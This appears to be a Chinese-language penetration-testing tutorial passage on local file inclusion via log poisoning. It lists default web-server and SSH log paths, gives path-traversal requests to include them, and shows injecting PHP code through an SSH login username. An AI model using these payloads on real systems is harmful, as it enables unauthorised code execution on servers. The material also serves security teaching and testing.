0x01:web服务器日志包含
(1) 利用条件:
1、需要知道服务器日志的路径
2、日志文件可读
(2)利用姿势:
很多时候,web 服务器会将请求写入到服务器中,比如说apache。在用户发起请求时,会将请求写入 access.log, 当发生错误时将错误写入 error.log。
默认情况下 apache log 的位置
Debian分支(Ubuntu等) /var/log/apache2/access.log
Fedora分支(Centos等) /var/log/httpd/access_log
系统 | 服务器 | 可能的错误日志的位置 |
---|---|---|
windows | apache | ./Apache/logs/error.log |
windows | nginx | ./nginx/logs/error.log |
linux | apache | /var/log/apache2/error.log |
linux | apache | /var/log/httpd/error.log |
linux | apache | /etc/httpd/logs/error.log |
linux | nginx | /var/log/nginx |
如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
利用LFI:
index.php?file=../../../../../var/log/apache2/access.log
在一些场景中,log得到地址是可以被修改的。可以读取相应的配置文件后,在进行包含。
0x02:SSH日志包含
(1) 利用条件:
1、需要知道ssh-log的位置
2、日志文件可读
(2)利用姿势:
默认情况下ssh log的位置:
Debian分支(Ubuntu等) /var/log/auth.log
Fedora分支(Centos等) /var/log/secure
用ssh连接:
→ Qftm ← :~# ssh ‘<?php phpinfo(); ?>’@remotehost
之后会提示输入密码等等,随便输入,然后在remotehost的ssh-log中即可写入php代码:
利用LFI:
index.php?file=../../../../../var/log/auth.log
利用条件:前提是知道日志的路径和日志可读